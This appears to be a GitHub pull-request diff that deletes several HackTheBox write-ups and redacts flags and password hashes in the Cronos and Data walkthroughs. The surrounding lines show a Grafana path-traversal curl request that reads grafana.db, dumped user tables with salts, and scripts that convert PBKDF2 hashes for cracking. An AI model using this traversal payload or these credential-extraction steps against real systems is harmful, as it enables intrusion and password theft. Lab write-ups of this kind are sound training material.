Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1,043 changes: 0 additions & 1,043 deletions Administrator HTB [MEDIUM].md

This file was deleted.

991 changes: 0 additions & 991 deletions BabyTwo HTB [MEDIUM].md

This file was deleted.

1,827 changes: 0 additions & 1,827 deletions Blackfield HTB [HARD].md

This file was deleted.

1,224 changes: 0 additions & 1,224 deletions Breach HTB [MEDIUM].md

This file was deleted.

425 changes: 0 additions & 425 deletions Cicada HTB [EASY].md

This file was deleted.

6 changes: 3 additions & 3 deletions Cronos [MEDIUM].md
Original file line number Diff line number Diff line change
Expand Up @@ -267,7 +267,7 @@ www-data@cronos:/var/www/admin$ cd /home/noulis
cd /home/noulis
www-data@cronos:/home/noulis$ cat user.txt
cat user.txt
78e7*****************4cbe325
[REDACTED]
```

Since its name is Cronos, we can infer that the privesc is about cronjobs.
Expand Down Expand Up @@ -416,7 +416,7 @@ bash: cannot set terminal process group (4074): Inappropriate ioctl for device
bash: no job control in this shell
root@cronos:~# cat /root/root.txt
cat /root/root.txt
5003f0***********ee0d9c3
[REDACTED]
```

And we get the root flag !
And we get the root flag !
1,013 changes: 0 additions & 1,013 deletions DarkZero [HARD].md

This file was deleted.

24 changes: 12 additions & 12 deletions Data [EASY].md
Original file line number Diff line number Diff line change
Expand Up @@ -1275,7 +1275,7 @@ So we will curl using URL-encoded path `..%2F` which is the equivalent of `../`
>  curl -s --path-as-is \
> 'http://data.htb:3000/public/plugins/alertlist..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2var%2Flib%2Fgrafana.db' \


()

400 Bad Request%

Expand Down Expand Up @@ -1329,8 +1329,8 @@ Finally, after 20 minutes, I got the syntax right.
╭────┬───────┬─────────────────┬──────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ id │ login │      email      │                                               password                                               │
╞════╪═══════╪═════════════════╪══════════════════════════════════════════════════════════════════════════════════════════════════════╡
│  1 │ admin │ admin@localhost │ 7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8
│  2 │ boris │ boris@data.vl   │ dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8
│  1 │ admin │ admin@localhost │ [REDACTED]
│  2 │ boris │ boris@data.vl   │ [REDACTED]
╰────┴───────┴─────────────────┴──────────────────────────────────────────────────────────────────────────────────────────────────────╯
```

Expand All @@ -1345,7 +1345,7 @@ import binascii
import sys

# Paste from sqlite output for ONE user:
PASSWORD_HEX = "dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8"
PASSWORD_HEX = "[REDACTED]"
SALT_STR = "PASTE_SALT_FROM_SQLITE"

ITERATIONS = 10000
Expand Down Expand Up @@ -1377,8 +1377,8 @@ This would take too much time, so I have to use the salt from the database and a
╭───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────┬────────────╮
│ login │                                               password                                               │    salt    │
╞═══════╪══════════════════════════════════════════════════════════════════════════════════════════════════════╪════════════╡
│ admin │ 7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8 │ YObSoLj55S │
│ boris │ dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8 │ LCBhdtJWjl │
│ admin │ [REDACTED] │ YObSoLj55S │
│ boris │ [REDACTED] │ LCBhdtJWjl │
╰───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────┴────────────╯
```

Expand All @@ -1405,9 +1405,9 @@ USERS = {

"password_hex": (

"7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322"
"[REDACTED]"

"cf3723c92164b6172e9e73faf7a4c2072f8f8"
"[REDACTED]"

),

Expand All @@ -1419,7 +1419,7 @@ USERS = {

"password_hex": (

"dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be"
"[REDACTED]"

"220745be3cbe49353e35f53b51da8"

Expand Down Expand Up @@ -1564,7 +1564,7 @@ Last login: Wed Jun  4 13:37:31 2025 from 10.10.14.62
boris@data:~$ ls
user.txt
boris@data:~$ cat user.txt
955e*****************5898
[REDACTED]
```

We got the user flag.
Expand Down Expand Up @@ -1629,7 +1629,7 @@ And, bingo.

```bash
bash-5.1# cat /mnt/root/root.txt
82cf16******************060f04ca
[REDACTED]
```

First Linux Black Box finished and second Black Box engagement finished !
Expand Down Expand Up @@ -1667,7 +1667,7 @@ boris@data:~$ getcap -r / 2>/dev/null
Bonus : alternative way to decode the hashes without python

```bash
PASS_HEX="dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8"
PASS_HEX="[REDACTED]"
SALT="LCBhdtJWjl"
HASH_B64=$(echo -n "$PASS_HEX" | xxd -r -p | base64 -w0)
SALT_B64=$(echo -n "$SALT" | base64 -w0)
Expand Down
Loading